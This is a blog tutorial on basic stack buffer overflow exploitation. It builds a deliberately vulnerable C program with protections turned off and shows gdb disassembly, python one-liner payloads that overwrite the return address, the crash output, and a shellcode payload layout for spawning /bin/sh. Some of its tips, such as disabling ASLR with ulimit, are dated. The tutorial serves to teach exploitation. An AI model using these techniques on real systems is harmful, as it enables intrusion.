Basic Buffer Over Flow Exploit
Today, i gonna introduce about BOF(Buffer Over Flow) Exploit Techniques.
Buffer Over Flow means putting more data than limited size, so we can overwrite next buffer data.
and next buffer data could be the other data or RET. That is real purpose of us.
All we need to do is just finding vulnerable codes that allow us to overwrite next data caused by misusing kind of input functions like read(), scanf(), strcpy(), strncpy() stuffs.
The approximate attack vector is composed like below.
1 2 3 4 5 6 7 8 9 10 11 12 | /* Before buffer overflow */ ----------------------------------------------- buf1[16] | buf2[16] | .... | RET ----------------------------------------------- // If there are vulnerable codes without checking total size of input buffer, // maybe that buffer could be overflowed like below! /* After buffer overflow (filled with 'A') */ ----------------------------------------------- AAAAAAAAAAAAAA|AAAAAAAAAAAAAAAAAA|AAAAAA|AAAA ----------------------------------------------- // Then RET would be 0x41414141 becuase of overflow | cs |
Also on the other architectures like ARM, MIPS, (x16, x86, x86-64) this rule could be same.
Let's see examples of codes that have buffer overflow bug on various environment.
Before testing this exploit, u need to understand about following architectures' assembly so that u can understand whole flow of codes.
Here is the vulnerable source codes.
1 2 3 4 5 6 7 8 9 10 11 12 13 | #include <stdio.h> #include <unistd.h> #define size 256 int main(int argc, char *argv[]) { char buf[size / 2] = {0, }; read(1, buf, size); printf("What u say is ... %s\n", buf); return 0; } | cs |
Environment : Ubuntu 16.10 x86-64, gcc 6.2.0, kernel 4.8.0-32
Compile Options x86 : -m32 -Wall -fno-stack-protector -z norelro -z execstack -no-pie
x64 : -m64 -fPIC -Wall -fno-stack-protector -z norelro -z execstack -no-pie
And the disassemble codes
- x86
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | gdb-peda$ disas main Dump of assembler code for function main: 0x0804841b <+0>: lea ecx,[esp+0x4] 0x0804841f <+4>: and esp,0xfffffff0 0x08048422 <+7>: push DWORD PTR [ecx-0x4] 0x08048425 <+10>: push ebp 0x08048426 <+11>: mov ebp,esp 0x08048428 <+13>: push edi 0x08048429 <+14>: push ebx 0x0804842a <+15>: push ecx 0x0804842b <+16>: sub esp,0x8c 0x08048431 <+22>: call 0x8048350 <__x86.get_pc_thunk.bx> 0x08048436 <+27>: add ebx,0x1302 0x0804843c <+33>: lea edx,[ebp-0x98] 0x08048442 <+39>: mov eax,0x0 0x08048447 <+44>: mov ecx,0x20 0x0804844c <+49>: mov edi,edx 0x0804844e <+51>: rep stos DWORD PTR es:[edi],eax 0x08048450 <+53>: sub esp,0x4 0x08048453 <+56>: push 0x100 0x08048458 <+61>: lea eax,[ebp-0x98] 0x0804845e <+67>: push eax 0x0804845f <+68>: push 0x0 0x08048461 <+70>: call 0x80482e0 <read@plt> 0x08048466 <+75>: add esp,0x10 0x08048469 <+78>: sub esp,0x8 0x0804846c <+81>: lea eax,[ebp-0x98] 0x08048472 <+87>: push eax 0x08048473 <+88>: lea eax,[ebx-0x1218] 0x08048479 <+94>: push eax 0x0804847a <+95>: call 0x80482f0 <printf@plt> 0x0804847f <+100>: add esp,0x10 0x08048482 <+103>: mov eax,0x0 0x08048487 <+108>: lea esp,[ebp-0xc] 0x0804848a <+111>: pop ecx 0x0804848b <+112>: pop ebx 0x0804848c <+113>: pop edi 0x0804848d <+114>: pop ebp 0x0804848e <+115>: lea esp,[ecx-0x4] 0x08048491 <+118>: ret End of assembler dump. | cs |
- x64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | gdb-peda$ disas main Dump of assembler code for function main: 0x0000000000400506 <+0>: push rbp 0x0000000000400507 <+1>: mov rbp,rsp 0x000000000040050a <+4>: sub rsp,0x90 0x0000000000400511 <+11>: mov DWORD PTR [rbp-0x84],edi 0x0000000000400517 <+17>: mov QWORD PTR [rbp-0x90],rsi 0x000000000040051e <+24>: lea rdx,[rbp-0x80] 0x0000000000400522 <+28>: mov eax,0x0 0x0000000000400527 <+33>: mov ecx,0x10 0x000000000040052c <+38>: mov rdi,rdx 0x000000000040052f <+41>: rep stos QWORD PTR es:[rdi],rax 0x0000000000400532 <+44>: lea rax,[rbp-0x80] 0x0000000000400536 <+48>: mov edx,0x100 0x000000000040053b <+53>: mov rsi,rax 0x000000000040053e <+56>: mov edi,0x0 0x0000000000400543 <+61>: call 0x400400 <read@plt> 0x0000000000400548 <+66>: lea rax,[rbp-0x80] 0x000000000040054c <+70>: mov rsi,rax 0x000000000040054f <+73>: lea rdi,[rip+0x9e] # 0x4005f4 0x0000000000400556 <+80>: mov eax,0x0 0x000000000040055b <+85>: call 0x4003f0 <printf@plt> 0x0000000000400560 <+90>: mov eax,0x0 0x0000000000400565 <+95>: leave 0x0000000000400566 <+96>: ret End of assembler dump. | cs |
I intensionally turn off whole protections(PIE, RELRO, NX).
But Ascii Armor and ASLR depends on kernel so, u can off ASLR with this command : ulimit -s unlimited
Ascii Armor could be disable by changing your kernel :)
There is vulnerable code.
1 | read(1, buf, size); // vulnerable! | cs |
'buf' size is 128 but read total 256 bytes from stdin. Mean that we can write more than 128 bytes, than overwrite the next space. In that codes, we can overwrite RET address with arbitrary data. which means we can execute some address what we want to overwrite that address to RET.
For example, if u want to execute /bin/sh shell. There are some ways. but i'll introduce just one or two ways in this article.
If we have a space that has eXecute permission(envrioment space, stack, any other space) so that writing shellcode which executes /bin/sh there, then get start address of that space and overwrite RET with the address.
Additionally, if we can make another symbolic file of this, we could still try to execute shellcode in argv[0].
Anyway, let's try real exploit.
I just overwrite 0x8c(140) bytes to completely overwrite RET. Payload and Result is like below.
-x86
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | zero@ubuntu:~/Desktop/pwn/BOF$ (python -c 'print "A"*0x8c') | ./bof1 What u say is ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ��� Segmentation fault (core dumped) zero@ubuntu:~/Desktop/pwn/BOF$ gdb -q ./bof1 core Reading symbols from ./bof1...(no debugging symbols found)...done. [New LWP 6250]Core was generated by `./bof1'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x41414141 in ?? () gdb-peda$ info reg eax 0x0 0x0 ecx 0xffdf840a 0xffdf840a edx 0x5579e870 0x5579e870 ebx 0x0 0x0 esp 0xffdf840a 0xffdf840a ebp 0x0 0x0 esi 0x1 0x1 edi 0x5579d000 0x5579d000 eip 0x41414141 0x41414141 eflags 0x10286 [ PF SF IF RF ] cs 0x23 0x23 ss 0x2b 0x2b ds 0x2b 0x2b es 0x2b 0x2b fs 0x0 0x0 gs 0x63 0x63 gdb-peda$ x/20xw $esp 0xffdf840a: 0x41414141 0x41414141 0x41414141 0x41414141 0xffdf841a: 0x41414141 0x41414141 0x41414141 0x41414141 0xffdf842a: 0x41414141 0x41414141 0x41414141 0x41414141 0xffdf843a: 0x41414141 0x41414141 0x41414141 0x41414141 0xffdf844a: 0x840a4141 0x0000ffdf 0xd0000000 0x00005579 | cs |
-x64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | zero@ubuntu:~/Desktop/pwn/BOF$ (python -c 'print "A"*0x80 + "\x41\x41\x41\x41\x41\x41\x00\x00"') | ./bof1-x64 What u say is ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped) zero@ubuntu:~/Desktop/pwn/BOF$ gdb -q ./bof1-x64 core Reading symbols from ./bof1-x64...(no debugging symbols found)...done. [New LWP 23162] Core was generated by `./bof1-x64'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x0000414141414141 in ?? () gdb-peda$ info reg rax 0x2af6486c5f38 0x2af6486c5f38 rbx 0x0 0x0 rcx 0x20 0x20 rdx 0x7ffc6970cfe8 0x7ffc6970cfe8 rsi 0x2af6486c5760 0x2af6486c5760 rdi 0x2428010 0x2428010 rbp 0x414141414141 0x414141414141 rsp 0x7ffc6970ce60 0x7ffc6970ce60 r8 0xfffffffffffffff2 0xfffffffffffffff2 r9 0x99 0x99 r10 0x73 0x73 r11 0x246 0x246 r12 0x400410 0x400410 r13 0x7ffc6970cfd0 0x7ffc6970cfd0 r14 0x0 0x0 r15 0x0 0x0 rip 0x414141414141 0x414141414141 eflags 0x10206 [ PF IF RF ] cs 0x33 0x33 ss 0x2b 0x2b ds 0x0 0x0 es 0x0 0x0 fs 0x0 0x0 gs 0x0 0x0 gdb-peda$ x/20xw $rsp 0x7ffc6970ce60: 0x48322380 0x00002af6 0x00000000 0x00000001 0x7ffc6970ce70: 0x486c5760 0x00002af6 0x41414141 0x02428010 0x7ffc6970ce80: 0x00000001 0x00000000 0x41414141 0x41414141 0x7ffc6970ce90: 0x41414141 0x41414141 0x41414141 0x41414141 0x7ffc6970cea0: 0x41414141 0x41414141 0x41414141 0x41414141 | cs |
I successfully control EIP with arbitrary data!
If u want to get shell with using 'buf' space, then payload would be like below.
1 2 3 4 | | -> start of 'buf' ------------------------------------------------------- shellcode(/bin/sh) | ... | sfp | ret(address of 'buf') ------------------------------------------------------- | cs |
Be careful about shellcode! Depending on architectures and system(ARM, MIPS, x16, x86, x86-64), u need to use proper shellcode which fits on target environment. and address size would be changed by system(x16, x86, x86-64). For example, x86 system's address size is 4 but x64 is 8. just notice it.
And addtional information about on x64 exploitation,
First, Don't prefer using 0x4X byte when u make payload to fill dummy buffer beacause 0x4x byte works as 'prefix' instruction on x64. so we should care about this.
Second, when u test buffer overflow with x64 binary, u need to overwrite RET to 0x0000xxxxxxxxxxxx address.
U also know or have experience when u try to overwrite RET with '0x4141414141414141" value but it won't work as well. If we try to use over 0x0001xxxxxxxxxxxx address, operation system would raise exeception. Because there is non-user or privilieged area where we can't access. So after rasing exeception, re-executing codes, then normal address would be in RET again.
'Security > System Hacking' 카테고리의 다른 글
[System Hacking] 4. Memory Mitigations on Linux and Windows (0) | 2016.12.25 |
---|---|
[System Hacking] 3. Return To Library(RTL) (0) | 2016.12.24 |
[System Hacking] 2. Basic Format String Bug (0) | 2016.12.23 |
[System Hacking] 10. Return Oriented Programming on x86-64 linux (0) | 2015.11.28 |
[System Hacking] 0. Starting System Hacking (0) | 2014.07.10 |